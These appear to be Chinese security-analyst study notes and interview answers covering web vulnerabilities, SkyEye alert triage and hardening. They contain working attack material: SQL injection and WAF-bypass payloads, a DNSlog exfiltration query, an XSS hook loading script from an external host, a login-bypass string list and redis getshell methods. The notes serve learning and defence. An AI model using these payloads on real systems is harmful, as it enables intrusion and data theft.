Mysql注入：

1、sql注入漏洞原理

开发者没有在网页传参点做好过滤，导致恶，意sql语句拼接到数据库进行执行

2、sql注入分类：联合注入、布尔盲注、时间盲注、堆叠注入、宽字节注入、报错注入

3、联合注入的步骤

找传参点-->判断闭合符-->判断列数-->判断显示位-->查询database()-->查表-->数据

4、盲注分类

布尔盲注（页面回显长度：burp里的Content-Length）、时间盲注（页面回显时间：burp包的右下角）、Dnslog

6、盲注函数

if()、sleep()、substr()、left()、limit、ascii()、length()  
7、报错注入原理：

7.1、报错注入函数,例如：floor() group by、exp()、updatexml()、extractvalue()

5、Dnslog注入原理

5.1、利用load\_file()函数读取共享文件

5.2、共享文件形式：\\hex(user()).dnslog.cn/或者\\host\

5.3、利用myslq的load\_file()函数解析拼接过的dnslog域名，进而带出数据

2、判断闭合符方式：

构造真和假：id=1 and 1=1、id=1' and 1=2、=1" or 1=1、') or 1=2、and 234=234、and 1、or 1、and 1^1、&&1、||0

8、堆叠注入原理

在mysql中，分号代表一个查询语句的结束，所以我们可以用分号在一行里拼接多个查询语句

9、宽字节注入原理

9.1、数据库使用gbk编码

9.2、使用反斜杠进行转义

10、sql注入绕waf

10.1、代替空格：/\*\*/、/\*!\*/、+、%09、%0a、%00、括号

10.2、关键字：16进制、char()、字符串拼接

10.3、等价函数替换：sleep()==benchmark()、if()==case when then else end、ascii()==ord()、substr()==substring()

10.4、内联注释：/\*! \*/

11、sqlmap常用参数

-r：用于post型注入，指定txt文件的post数据包

--os-shell:用户获取shell

--os-cmd:执行系统命令

--force-[ssl](https://so.csdn.net/so/search?q=ssl&spm=1001.2101.3001.7020)：sqlmap跑https站，此参数主要用来伪造一个ssl证书，或者在host地址后面加一个443端口

--tamper：指定绕过用的脚本文件

-u：指定url，通常用于get型注入

-p：指定注入点，例如:python sqlmap.py -u http://127.0.0.1/index.php?id=1&mid=2&page=3 -p "page"

\*：指定注入点，例如：python sqlmap.py -u http://127.0.0.1/index.php?id=1\*&mid=2&page=3\* 注意：\*号也可以用于伪静态的注入，用法同前面一样，直接在注入点后面加\*

--fresh-queries：刷新缓存

--current-db：获取当前数据库名称

--time-sec=5：设置延时时间

-m：用于sqlmap批量跑注入，指定一个含有多个url的txt文件

--level 3：指定测试等级，等级越高，检查项越多，共1-5个等级

--risk 3：指定风险等级，等级越告，payload越复杂，共1-3个等级

--random-agent：指定随机agent头

--batch：默认选项

13、sql注入获取webshell的方式

1、写文件（需要写权限）

2、写日志文件（不要学权限，但是需要通过命令开启日志记录功能，而且还需要把日志文件的路径指定到网站根路径下面）

14、sql注入防御

1、过滤敏感字符，例如：information\_schema、into out\_file、into dump\_file、’、"、()

2、预编译

3、站库分离：增加攻击者的时间成本、防止通过数据库拿到webshell

XSS：跨站脚本攻击

2、XSS原理:开发人员没有做好过滤，导致我们可以闭合标签进而插入并执行恶意JS代码

3、xss类型分类

DOM型：由DOM文档完成解析

反射型：即插即用，没有存储在数据库里面

存储型：被存储在数据库里面，造成持久型的攻击

4、常用的JS函数

document.cookie()：弹出当前网址的浏览器cookie

console.log('xss')：在控制台输出日志

5、绕过方式

1.改变大小写:<SCript>

2.编码绕过（html实体编码、十进制十六进制八进制编码、unicode编码）、

3.关闭标签：利用大于号>关闭标签使得xss生效

4.双写饶过：<scr<script>ipt>

5.可以使用空格.换行，tab键或者/\*\*/,/\*!a\*/,的形式绕过关键词的检测

6.用/代替空格  
 7.用反引号代替括号、双引号  
 8.用throw代替括号  
 9.用html实体编码&colon;代替冒号  
 10.用[jsfuck](https://www.bugku.com/tools/jsfuck/)编码绕过大部分字符过滤

6、扫描工具

xsstrick

7、XSS钓鱼平台

kali工具：BEEF

免费平台：https://xss.pt/

钓鱼语句：<img src=https://xss.pt/hook.js>

8、xss防御

1、过滤敏感字符，例如：aler()、<script>、onerror

2、增加httponly：禁止前端执行JS代码

XXE：外部实体注入，真实网站很难挖到

1、漏洞原理：

PHP开启外部实体引用

传如的xml数据未经过过滤

3、漏洞特点

传参数据是以xml标签的形式

相应包里的Content-type：text/xml

4、攻击手法

利用file协议读取文件

利用http协议进行端口探测，例如：http://127.0.0.1:22

利用php伪协议读取文件

5、盲XXE

核心：加载执行远程xml文件，造成数据外发的效果

6、防御

关闭外部实体功能：libxml\_disable\_entity\_loader(ture);

文件上传

1、漏洞原理

开发人员未在上传点对文件名和文件内容做严格的过滤

2、绕过黑名单

1、特殊后缀名绕过：php3-php5、pht、phtml、qwe，通过修改httpd.conf文件按可以实现解析任意后缀名

2、通过上传.htaccess文件可以实现解析任意后缀名

3、上传.user.ini文件，利用包含实现getshell

4、空格绕过，利用的是windows和linux不允许文件名出现包括空格在内的特殊字符，例如上传：1.php[空格]

5、点绕过，windows不允许出现点结尾的文件名，会自动去掉文件名后面的点，linux允许出现点结尾的文件

6、流文件绕过，windows中，::$DATA符号后面的内容会被当成字节流数据，上传之后会自动去掉::$DATA以及后面的内容

7、双写后缀名，例如上传1.pphphp，只适用于将php替换为空的情况

3、绕过白名单

1、00截断

2、配合文件包含

4、对文件内容进行绕过

1、填充垃圾字符

2、免杀

5、绕过前端验证

1、在浏览器关闭前端JS功能

2、burp抓包修改

文件包含：真实网站几乎挖不倒

1、文件包含函数

include()、require、include\_once()、require\_once()

2、文件包含支持的协议

1、php伪协议：fiter、input、data、zip、phar

2、file协议

3、http和https

3、利用条件

1、本地文件包含不需要开启allow\_url\_\*参数

2、部分伪协议需要开启一个或者两个allow\_url\_\*参数

4、防御

1、过滤关键字，例如：php://、file://、http://

2、关闭allow\_url\_\*参数

命令执行

1、拼接

&、&&、|、||

2、原理：在操作系统中，“&、|、||”都可以作为命令连接符使用，用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令

CSRF：跨站请求伪造

1、原理：攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作（如发邮件，发消息，甚至财产操作（如转账和购买商品））。因为浏览器之前认证过，所以被访问的站点会认为这是真正的用户操作而去运行。

2、同源策略内容

主机、端口、协议

2、防御

1、验证referer

2、加token验证

SSRF：服务器端请求伪造

1、原理： SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造，由服务端发起请求的一个网络攻击，一般用来在外网探测或攻击内网服务，其影响效果根据服务器用的函数不同，从而造成不同的影响。

    SSRF 形成的原因大都是由于服务端提供了从其他服务器获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。

2、支持的协议

http://、https://、dict://、ftp://、file、php伪协议、gopher://

2、危害

1.内外网的端口和服务扫描

2.主机本地敏感数据的读取

3.内外网主机应用程序漏洞的利用

4.内外网Web站点漏洞的利用

信息泄露

1、.svn、.git、.ds\_store

原理：信息泄露可能是不慎泄露给浏览该网站信息用户的,也有可能是攻击者通过恶意的交互从网站获得数据。

利用手法：

通过robots.txt泄露网站隐藏目录,文件.或者站点结构

网站站点的备份文件未删除导致的泄露,可能会泄露网站源代码

没有正确处理网站的一些错误消息,在错误消息中泄露数据库表,字段等

一些高度敏感的用户信息,银行账号等泄露

在源代码中泄露数据库账号密码,等等(GitHub)

网站某些程序的细微差别提示是否存在某些资源,用户名

apache中间件漏洞

1、解析漏洞：多后缀名解析漏洞（从后往前解析，一直解析到可识别的后缀）、罕见后缀名解析漏洞、.htaccess解析漏洞

2、命令执行漏洞：CVE-2021-42013

iis中间件漏洞

1、文件名解析漏洞，从前往后解析，遇到分号就截断，忽略分号后面的内容，例如：1.asp;.jpg

2、罕见后缀名，例如：.asa、.cer、.cdx

3、IIS 5.X/6.0的文件夹解析漏洞，例如：将文件夹以1.asp命名，该文件夹中的所有文件都会被当做asp文件执行：1.asp/1.jpg、1.asa/1.jpg、1.cer/1.jpg、1.cdx/1.jpg

4、IIS 7.0/IIS 7.5的CGI解析漏洞，例如上传1.jpg然后访问1.jpg/.php

5、IIS PUT文件上传漏洞

6、HTTP.sys远程代码执行漏洞：MS15-034

Nginx中间件漏洞

1、CGI解析漏洞，例如上传1.jpg然后访问1.jpg/.php

框架漏洞

thinkphp5.x

thinkphp5.0.x漏洞原因是对url处理有关，导致远程命令执行



struts2

原理：struts2是一个[框架](https://so.csdn.net/so/search?q=%E6%A1%86%E6%9E%B6&spm=1001.2101.3001.7020)，他在处理action的时候，调用底层的getter/setter来处理http的参数，将每一个http的参数声明为一个ONGL。导致命令执行

框架特点：文件后缀名”.action ” “.do”

apache shrio反序列化

原理：Apache Shiro是一个Java安全[框架](https://so.csdn.net/so/search?q=%E6%A1%86%E6%9E%B6&spm=1001.2101.3001.7020)，执行身份验证、授权、密码和会话管理.

Shiro提供了RememberMe的功能，当用户关闭浏览器，下次再打开浏览器访问时，还是能记住我是谁，无需登录即可访问。其实很多网站都有这功能，Shiro对RememberMe的Cookie做了加密处理，在CookieRememberMeManaer类中将Cookie中RememberMe字段内容分别进行序列化、AES加密、Base64编码等操作，但是默认的加密AES Key是硬编码进去的，都知道这个Key是什么，所以在逆向操作[反序列化](https://so.csdn.net/so/search?q=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1001.2101.3001.7020)、Base64解密的时候，攻击者就可以伪造恶意数据通过反序列化远程执行命令。

fastjson反序列化

通过Fastjson反序列化漏洞，攻击者可以传入一个恶意构造的JSON内容，程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数，进而导致代码执行。

mysql提权方式：mof提权、udf提权

redis数据库：

写公钥、写webshell、写计划任务

nmap

扫描www.xxser.com C段存活主机

命令: nmap -sP www.xxser.com/24

指定端口扫描

命令: nmap -p 80,1433,22,1521 www.xxser.com

探测主机操作系统

命令: namp -o [www.xxser.com](http://www.xxser.com)

全面的系统探测

命令: nmap -v -A [www.xxser.com](http://www.xxser.com)

ping扫描

命令：-sP

半开放扫描

命令：-sS

天眼使用流程

1、天眼的作用

1.1、从部署角度来讲：首先是从核心交换机上镜像流量到探针，探针内部有规则库，会进行第一波分析，然后分析的结果会交给分析平台处理，然后分析进行整合

1.2、从使用者的角度：在“威胁感知-告警列表”里面进行筛选，进行有针对性的分析

2、攻击结果分为：失败(0)-企图(1)-成功(2)-失陷(3)

3、威胁级别分为：低危-中危-高危-危急

4、首先打开“威胁感知-告警列表”，然后筛选出成功和失陷的告警，然后筛选出威胁级别为高危和危急的告警

5、然后对每条告警进行分析：需要注意五元组信息：源IP、源端口、目的IP、目的端口、协议，然后就是对数据包进行分析

6、天眼的升级（包含探针/分析平台的规则库和系统升级）

6.1、天眼支持在线升级和手动导入升级包的方式进行升级，客户基本上都是手动升级，因为在线升级需要开策略，比较麻烦，二一个是访问公网的行为比较危险

6.2、手动升级步骤：从天眼公有云系统（https://user.skyeye.qianxin.com/user/sign-in?next=https%3A//cloud.skyeye.qianxin.com/login）上下载最新的升级包，然后在天眼的系统设置里的升级栏里面导入升级包进行升级

场景一：

甲方信息主任王处长要求筛选出OA系统（10.10.65.20）的弱口令用户有哪些：

思路：

1、筛选目的IP为10.10.65.20 dip:"10.10.65.20"

2、威胁名称为Web弱口令登录 attack\_type:"Web弱口令登录"

3、协议为http proto:"http"

4、时间为3个月

5、攻击结果为成功和失陷 attack\_resule:"2" OR attack\_resule:"3"

检索语句：dip:"10.10.65.20" AND attack\_type:"Web弱口令登录" AND proto:"http" AND (attack\_resule:"2" OR attack\_resule:"3")

天眼日志检索功能使用

1、在“分析中心”-“日志检索”模块，选择“高级模式”-“web访问”，再填写检索语句，再点击搜索

2、如果不知道具体的描述字段名？

在日志检索页面的左边，有一个展示字段，也就是说我们需要去记字段名，我们可以通过可视化界面把需要的字段进行选中，点点点就行了

场景二：

sql注入告警分析

1、告警分析一定是基于流量（请求包和相应包）进行的

2、sql注入的告警分析一定是基于攻击手法进行分析

3、看告警攻击结果是否成功，我们应该有限分析成功的并且高危和危急的告警

4、首先看请求包，如果出现union select这样的字符，那就很可能进行联合注入攻击：

4.1、看请求包里面，union select后面查询的内容是什么，通常情况是都是工具扫描造成的告警，很可能会查询一串随机字符串，如果相应包出现了这个随机的字符串，那么攻击成功，漏洞存在

4.2、看响应包里面是否出现请求的随机字符串

5、如果请求包出现updatexml、exp()等等函数，那就很可能进行的报错注入攻击

5.1、看响应包里是否出现“Syntax error”这样的报错字符串，如果有，基本上确定了%50，然后看报错函数里面拼接的什么函数，如果拼接的user()，就看报错信息里是否出现"root@127.0.0.1"这样的字符串，如果有，攻击成功，告警真实

6、如果请求包出现if(),ascii(),sunstr()等等函数，那就可能进行布尔盲注攻击

6.1、看源目的IP之间通信的有关盲注的web访问日志，然后看响应包的字段长度，如果大批量出现两种响应长度，那就可能攻击成功

7、如果请求包出现“Waitfor Delay 0:0:5”、sleep()、benchmark()等延时函数，那就有可能遭受了延时注入攻击

7.1、因为天眼不记录请求和响应包之间的时间延迟，所以从流量角度只能初步判断响应码是否为200，如果为404肯定攻击失败，如果为200就无法继续判断了，需要向客户申请手工复测

8、如果请求包出现'load\_file("dnslog")'域名解析行为，那就可能遭受了dnslog外带数据盲注攻击

8.1、这种情况也只能初步通过状态码是否为200来判断，如果为404，则肯定攻击失败，如果为200就需要向客户申请手工复测

9、如果出现into\_outfile函数，则有可能造成文件写入。

9.1、这时候直接访问文件，看是否存在就行了

9.2、也有可能攻击者把shell文件删掉了，这时候就需要搜索源目的IP之间跟这个文件是否有交互流量，如果有则文件写入成功，服务器已经失陷

场景三

文件上传告警分析

1、告警分析一定是基于流量（请求包和相应包）进行的

2、一定是基于攻击手法进行分析

3、分析请求包：

3.1、看请求包里是否含有文件名，文件名后缀是否符合网站语言环境，比如:shell.php、shell.jsp、shell.asp，如果文件名后缀与网站语言环境不一致，很有可能攻击失败

3.2、如果文件后缀与网站语言环境不一致，就需要考虑文件包含漏洞和文件解析漏洞的可能性，但是实际网站攻击中，这种概率很小，我们需要结合源目的IP所有的访问日志综合考虑

3.3、看请求包的文件内容是否含有eval()、system()等各类语言中的危险函数，如果符合木马特征，那就可以认为有人在上传木马文件。

3.4、实际文件上传攻击请求包中的文件内容可能是冰蝎马或者内存马等一些比较复杂的木马文件，这个时候光凭请求包是很难判断的，需要进行下一步分析

4、分析响应包

4.1、如果请求包符合木马文件特征，响应码为200，响应体出现“文件上传成功”、“success”、等字眼，很有可能已经上传成功，相反的，出现文件上传失败，则很可能攻击失败。

5、行为分析

5.1、如果有攻击IP与该上传文件名称有大量的交互流量产生，很都有可能文件已经上传成功，并且攻击者成功进行连接利用

6、流量分析

6.1、看与文件交互的流量是否符合菜刀、蚁剑、冰蝎、哥斯拉等等流量特征，比如菜刀是base64加密，并且含有z0z1z2等参数，再比如冰蝎是AES加密，会产生GET方式的密钥协商请求包，协商完成后请求体会出现密文（16进制）传输。

7、最有效的判断方法

7.1、直接跟客户申请，上服务器里面去查询该文件名是否存在

场景四

病毒、蠕虫、C2、勒索等APT事件（天眼的检测规则是但凡发现恶意域名的解析行为就给告警）

1、告警真实性分析

1.1、因为APT事件会去访问外部的监听器地址，一般是以域名的形势存在的，所以我们去告警详情里面找到IOC恶意域名，然偶放在奇安信/微步/360/安恒等各大安全厂商的威胁情报中心进行检测，如果都分析为恶意，就进行下一步分析。

1.2、如果IOC确定为恶意监听器，就上日志检索模块查询内网与该域名的解析日志记录多不多，一般是6秒解析一次，所以内网会产生大量的DNS解析记录，这时候基本可以断定该受害IP存在后门程序

2、处置

2.1、首先安装好杀毒软件进行病毒查杀（一般没有用，其实%99的概率都没用）

2.2、一般这种情况都是个人PC电脑产生的，因为客户的安全意识不到位，经常会去下载非正规渠道的软件

2.3、首先判断该电脑是否是个人PC，因为查杀的话很麻烦，一般直接重装电脑，最管用

2.4、或者采用正规后门查杀流程，一般用过端口、进程、注册表、启动项、计划任务等等方式进行检查

2.5、如果是服务器，那就很麻烦，因为基本上不能重装，也需要走正规的应急流程进行查杀

2.6、有的时候会发现受害者IP是个网关，其实是下属主机发出的，流量走的网关，所以一般排查网关中毒的可能性

基线加固

1、什么是基线？

1.1、基线是一套安全标准，要求政企单位的资产满足这套最低标准。

2、基线怎么做？

2.1、基线规定了一系列标准，比如密码要求一个月换一次、要求密码满足复杂度要求、要求关闭445端口。

2.2、基线加固就是上服务器里面挨个检查这这些基线项目是否合格。

2.3、可以手工检查，但是手工做重复工作很麻烦，所以会有脚本或者工具来帮助完成这些任务。

2.4、网上有很多这种脚本，但是不规范，也不全面，所以市面上的甲方单位都购买了绿盟的基线设备，里面带有检查脚本，并且可以生成检查报告，我们只需要根据报告来进行整改就行了。

3、标准分类

S：业务信息安全相关要求，分为S123

A：系统服务保证相关要求，分为A123

G：通用安全保护要求，分为G123

一般都是做：S3A1G3这套要求

4、实施步骤

4.1、根据服务（操作系统、中间件、数据库）选择相对应的脚本文件，windows是.vbs脚本，Linux是.sh脚本

4.2、选择好脚本后放入到操作系统里执行，即可生成.xml后缀的核查结果

4.3、利用绿盟基线设备将.xml文件转换成.html文件

4.4、根据.html文件内容进行整改即可

面试题整理：

1、Mysql5.0和Mysql7.0的区别？

1.1、5.0之后才有的information\_schema库，5.0之前没有

1.2、5.0以下，可以命令行开启写权限；5.0以上需要修改my.ini开启写权限

2、平时挖过什么漏洞？

2.1、平时主要以web基础漏洞的挖掘为主，比如：XSS、sql注入、文件上传、越权、逻辑漏洞、信息泄露、目录遍历等等

2.2、平时也有关注一些新漏洞，比如前段时间的泛微OA v9任意文件上传漏洞，自己也会去FOFA上找些资产来复现

2.3、具备一些APP渗透基础，主要是检测一些客户端安全性校验，也会抓包进行服务端的漏洞测试。

3、sql注入原理？

3.1、通过闭合和注释插入恶意的数据库查询语句

4、会内网渗透吗？

4.1、自己没有做过真实的内网渗透。

4.2、但是自学过一些内网渗透基础知识，比如说自己搭建过FRP穿透工具、黄金票据、白银票据、Ngrok内网转发、Mimikatz(猕猴桃)抓取明文密码、MSF内网扫描模块、MSF的Meterpreter自动提权命令、CS设置监听上线等等

5、 文件上传怎么确定他是恶意的，怎么判断是否上传成功，上传成功怎么处置？

5.1、看文件是否含有恶意函数，比如php里的eval和system等恶意函数，或者java里的exec函数等等，一般开发人员不会用通过web页面进行上传的，所以文件上传告警大部分都是攻击者上传的木马文件，并且一般木马文件体量较小。

5.2、如果请求包符合木马文件特征，响应码为200，响应体出现“文件上传成功”、“success”、等字眼，很有可能已经上传成功，相反的，出现文件上传失败，则很可能攻击失败，最好的办法，就是上天眼查找这个文件名的访问记录，看是否访问成功。

5.3、首先问客户系统是否可以下线处理，如果可以，直接下线，防止危害扩散，如果不能下线，就封IP。

5.4、因为攻击者想要横向扩散的话，必然会利用失陷主机作为跳板机进行扫描，所以我们可以上天眼查看失陷主机与哪些服务器有访问记录，比如SSH登录动作，或者数据库登录动作，或者445端口访问等等。

5.5、木马文件的清除；漏洞的修复，直接把上传页面删掉是最稳妥的办法。

6、中间件漏洞

6.1、IIS：目录解析漏洞、分号截断、CGI解析漏洞、PUT文件上传漏洞、MS15-034

6.2、Apache：多后缀名解析漏洞、目录遍历、命令执行漏洞：CVE-2021-42013

6.3、Nginx：CGI解析漏洞

6.4、Tomcat：后台部署war包、PUT文件上传漏洞、反序列化漏洞、样例目录session操控漏洞

6.5、Weblogic：后台部署war包、一大堆反序列化漏洞、未授权RCE漏洞

6.6、Jboss：后台部署war包、一堆反序列化

7、天眼日志检索功能使用？

7.1、日志是以字段的形式存在的

7.2、日志检索支持检索语法：sip:"1.1.1.1" AND dport:"3389"

8、shiro反序列化漏洞了解过吗？

8.1、Apache Shiro是一个组件，提供了一个记住我的功能，意思就是你叉掉页面，下次再打开，不需要输入密码

8.2、漏洞特征是响应包里有一个"remerberMe=delete"

8.3、漏洞原理是把序列化字符串先进行AES加密，再进行base64加密，因为AES加密需要密钥，但是源代码里面使用默认密钥进行加密，所以我们可以传递恶意序列化字符串先进行AES加密，再进行base64加密，再传到服务器进行反序列化。

9、天眼怎么判断受到了攻击？

9.1、规则库匹配，给出告警

10、参加过护网吗，做的什么？

10.1、参加过，检测岗/研判岗

11、csrf（跨站请求伪造）漏洞原理？

11.1、在cookie有效期范围内，诱使受害者点击某个页面，进而执行非受害者本意的操作。

12、xss漏洞产生原理？

12.1、通过闭合标签插入恶意的JS代码

13、XFF(X-Forwarded-For)头是干什么的

13.1、本身是http协议的请求头里的一个字段，是用来记录代理的

14、ssrf(服务器端请求伪造)漏洞原理，能用来干什么

14.1、原理：网站需要请求内网其他服务器上的资源，而我们可以控制资源访问路径以及资源访问协议。

14.2、用来干什么：file://协议读取本地文件、gopher://协议攻击内网redis、http://协议内网探测

15、Linux的敏感文件

15.1、/root/.bash\_history、/etc/passwd、/etc/shadow、/etc/sudoers

16、Web渗透步骤

16.1、信息收集-漏洞探测-漏洞利用-权限提升-权限维持-内网渗透

17、CSRF 和 SSRF 有什么区别，以及修复方式？

17.1、CSRF欺骗客户端、SSRF欺骗服务端

18、dom型xss和反射性xss的区别

18.1、DOM型XSS由DOM文档解析，不与后端交互

18.2、反射型由后端语言解析，需要与后端交互

19、暴力破解告警分析

19.1、http协议告警：判断网站是否本身就开放给公共成员登录使用，如果这个页面不面向大众，就有可能遭受暴力破解

19.2、ssh协议暴力破解，由于天眼规则库本身有严格的触发机制，所以需要询问系统管理员是否在进行业务员操作

20、查看计划任务

20.1、Linux：crontab -l [-u 用户名]

20.2、Windows：命令：schtasks 图形化界面：任务计划程序

21、docker基础命令

重启镜像

docker restart CONTAINER\_ID

导入镜像

docker load -i TarName

删除镜像

docker rmi Image\_Id

运行镜像

docker run -d -p 81:80 DickerName

进入容器

docker exec -it CONTAINER\_ID bin/bash

docker run -it Image\_Id

删除正在运行中的容器

docker rm $(docker ps -a -q)

停止所有正在运行的容器

docker stop $(docker ps -a -q)

停止某个正在运行的容器

docker stop CONTAINER\_ID

docker修改镜像名称（REPOSITORY和TAG）

docker tag IMAGE\_ID 新REPOSITORY:新TAG

22、phpmyadmin如何写webshell？

22.1、通过into\_outfile写文件

22.2、通过开启日志功能，向日志文件里写入webshell

23、静态网页怎么测试？

23.1、纯静态网页没办法测试，非常安全

23.2、通过页面修改时间判断是否为伪静态

24、app渗透

24.1、客户端安全性校验，按照客户端测试文档挨个检测就行了

24.2、服务端抓包测试

25、xary+爬虫

25.1、Xray联动AWVS爬虫

26、Xary+bp

26.1、xray+bp实现被动扫描

27、bp抓不到包

27.1、代理问题

27.2、证书问题

28、sleep()等价函数

28.1、sleep()<==>benchmark()

29、sql注入绕过

29.1、/\*\*/、/\*!\*/、%0A、+、科学计数、字符拼接

30、Python常见库

30.1、requests、sys、bf4、urllib、socket

31、任意文件下载？

31.1、下载功能处的下载路径可控

31.2、下载敏感文件

32、时间盲注的payload，并解释

32.1、payload:?id=1' and if((user()='root@localhost'),sleep(5),1)-- -

33、dnslog注入的payload

33.1、?id=1' and load\_file(concat("\\\\",hex(user()),".dnslog.cn/111"))-- -

34、sqlmap如何指定扫描mysql数据库

34.1、python sqlmap.py -u "xxxxx" --dbms mysql

35、burp平常都用哪些插件？

35.1、BurpEverything：用于批量生成手机号、身份证号、验证码、营业执照等等

35.2、Passive Scan Client：流量转发插件，通常用于配合xray进行被动扫描

35.3、ShiroScan：Shiro反序列化被动扫描工具

34.4、xssValidator：自动化xss扫描工具

35.5、Autorize：自动化未授权访问测试工具

35.6、SSRF-King：自动化SSRF漏洞探测工具

35.7、FastJsonScan：自动化fastjson漏洞扫描工具

36、Nmap默认使用ping命令发现主机，那如何才能隐蔽扫描呢？

36.1、nmap -Pn 127.0.0.1：不检测主机存活。

36.2、nmap -sS 127.0.0.1：不进行三次握手，即半开放式扫描

36.3、nmap -sT 127.0.0.1：进行完整的三次握手，即全连接扫描

36.4、nmap -P0 127.0.0.1：扫描之前不进行ping

37、信息收集目录扫描都用什么工具？

37.1、御剑：图形化的，比较常用

37.2、dirb：kali自带的，轻量级

37.3、dirsearch：github上的开源目录扫描工具，比较主流

38、信息收集子域名都用哪些方式获取？

38.1、子域名挖掘机

38.2、子域名在线查询：https://phpinfo.me/domain/

38.3、github上的开源工具：Oneforall

38.4、搜索引擎：百度、谷歌、必应、FOFA、Shodan、钟馗之眼

39、平时利用xss都用哪些标签？

39.1、<a href="javascript:alert(/test/)">xss</a>

39.2、<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

39.3、<img src=javascript:alert('xss')></img>

40、平时挖洞或渗透注册账号 需要手机号怎么办？

40.1、在线短信接收平台

41、平时挖洞有没有印象比较深刻的漏洞？

41.1、都是常规漏洞，没有特别深刻的

42、sql注入绕过空格？

42.1、+、/\*\*/、/\*!\*/、%0A、括号

43、通达OA最新漏洞？

43.1、通达OA存在越权漏洞、通达OA get\_datas.php SQL注入漏洞、北京通达信科科技有限公司通达OA系统存在文件上传漏洞

44、蓝凌OA最新漏洞？

44.1、蓝凌OA dataxml.jsp script 远程代码执行漏洞

45、深信服最新漏洞？

45.1、深信服EDR 任意用户登录漏洞

泛微OA前台sql注入漏洞

46、ascii码表字符有多少个？

46.1、128（0~127）

47、报错注入函数有哪些？

47.1、updatexml()、extractvalue()、exp()、floor()

48、sql注入注释符？

48.1、#、--

49、redis未授权getshell的方式？

49.1、redis在6379端口

49.2、写webshell

49.3、写公钥实现免密登录

49.4、写计划任务实现反弹shell

49.5、主从复制getshell

50、sqlmap -hh参数的含义？

50.1、显示高级帮助信息并退出

51、nmap指定扫描全部端口？

51.1、nmap -p 1-65535 127.0.0.1

52、Web渗透时拿到过权限吗？是什么用户的权限？

52.1、拿到过，基本是root权限

52.2、个人喜欢复现最新漏洞，所以拿权限很简单，一般都是管理员权限，不需要提权

52.3、如果涉及到提权的话，就用getsystem就行了

53、在项目现场碰到过印象最深刻的事是什么？

53.1、甲方做了一次补天众测，然后我整理报告，从里面学到了大佬的手法！

54、sql注入时遇到json数据时怎么办？

54.1、在想要注入的数据里后面加\*号

54.2、-r直接跑数据包

54.3、尝试fastjson和jackson反序列化漏洞

55、API渗透和web渗透的区别？

55.1、web渗透可以尝试xss、文件上传等等常规漏洞

55.2、API主要是用来做数据交互的，一般利用面比较窄，通常是写注入和越权等

56、SSRF防御？

56.1、过滤file://、gocher://等，过滤端口

56.2、把网站需要访问的内网资源路径写死，不从外部接收！

57、登录界面渗透方法？

57.1、注入、爆破、御剑扫描目录、默认账号密码

57.2、注册功能：存储型XSS、登录后找上传点、越权

57.3、密码找回功能：响应包返回短信验证码、接收验证码的手机号可控、使用自己的账号重置，别人的密码、密码找回步骤跳过

58、xxe的漏洞原理，可以造成那些攻击？

58.1、原理：网站支持xml文档解析，然后构造xml文档进行注入

58.2、file协议文件读取、http协议端口探测、php伪协议

59、代码执行漏洞的原理，怎样防护？

59.1、原理：代码执行函数的参数可控

59.2、不允许外部接收参数

60、3389端口存在什么漏洞？

60.1、CVE-2019-0708

60.2、MS12-020

61、邮件协议有哪些？

61.1、SMTP、POP3、IMAP4

62、经常出现漏洞的端口协议有哪些？

62.1、ssh rdp smb

63、经常使用什么平台关注最新漏洞？

63.3、CNVD、阿里云漏洞库、公众号

64、分享一下近两个月你关注的最新漏洞

64.1、泛微e-office UploadFile.php 文件上传漏洞、蓝凌OA dataxml.jsp script 远程代码执行漏洞、Hadoop Yarn RPC未授权访问漏洞、Apache HTTPd 2.4.49/2.4.50 路径穿越与命令执行漏洞

65、溯源的流程是什么？

65.1、从攻击IP、攻击者手机号、攻击者邮箱等等相关信息入手，通过博客、微信、论坛、Whois反查、IP反查等等手段溯源

66、资产梳理的流程有哪些、资产包括什么、资产梳理中你最关注的有哪些？

66.1、流程：建立台账->内网资产收集->外网资产收集

66.2、资产包括：安全设备、办公终端、网络设备、上线的服务器、云资产、摄像头等等（所有能够联网的电子设备都能算资产）。

66.3、最关注的：暴露在公网上的、生产系统、OA系统、防火墙策略

67、在护网项目中的其他的项目团队有哪些？

67.1、友商的安服人员、友商的网络人员、甲方主管

68、平时在项目上的工作？

68.1、告警分析、报告出具、漏洞扫描、基线加固、渗透测试、学习

69、在项目上时发现的最多的攻击是什么？

69.1、不管什么项目，都一样，只要是流量监测，告警最多的，一定是“蠕虫、病毒、后门”

69.2、然后针对web的告警，基本上%80都是扫描器产生的告警

70、是如何知道这个攻击是否已经成功的？

70.1、具体情况具体分析，根据攻击手法反推流量特征。

71、天眼报漏洞，但是客户不管，怎么班？

71.1、将漏洞危害和漏洞修复建议，详细描述，上报给客户，如果再不管，就上报项目经理。

72、怎么判定菜刀后门攻击，有什么特征？

72.1、菜刀流量是base64加密，并且解码出来，里面有z0z1z2参数

子域名收集

1、在线工具-“https://phpinfo.me/domain/”

2、Goby里面的子域名爆破插件

3、Layer子域名挖掘机

4、三方工具-oneforall

5、Goole hack搜索语法

6、FOFA：domain="btsvc.edu.cn"

7、360Quake：domain:"btsvc.edu.cn"

万能密码

'or 1=1/\*

"or "a"="a

"or 1=1--

"or"="

"or"="a'='a

"or1=1--

"or=or"

''or'='or'

') or ('a'='a

'.).or.('.a.'='.a

'or 1=1

'or 1=1--

'or 1=1/\*

'or"="a'='a

'or' '1'='1'

'or''='

'or''=''or''='

'or'='1'

'or'='or'

'or.'a.'='a

'or1=1--

1'or'1'='1

a'or' 1=1--

a'or'1=1--

or 'a'='a'

or 1=1--

or1=1--

防火墙策略匹配

在trust区域添加内网主机一般都是any，在untrust添加攻击ip

防火墙是干啥的：

隔离IP地址段，分为trust、untrust、local、DMZ区域

trust：信任地址段（一般为内网）

untrust：非信任地址段（一般为边界防火墙连接出口路由器）

local：本地（防火墙）

DMZ：服务器区域

冰蝎2.0和3.0的区别主要在于取消动态密钥获取,目前很多waf等设备都做了冰蝎2.0的流量特征分析。所以3.0取消了动态密钥获取

tcp协议的漏洞：DNS劫持、DOS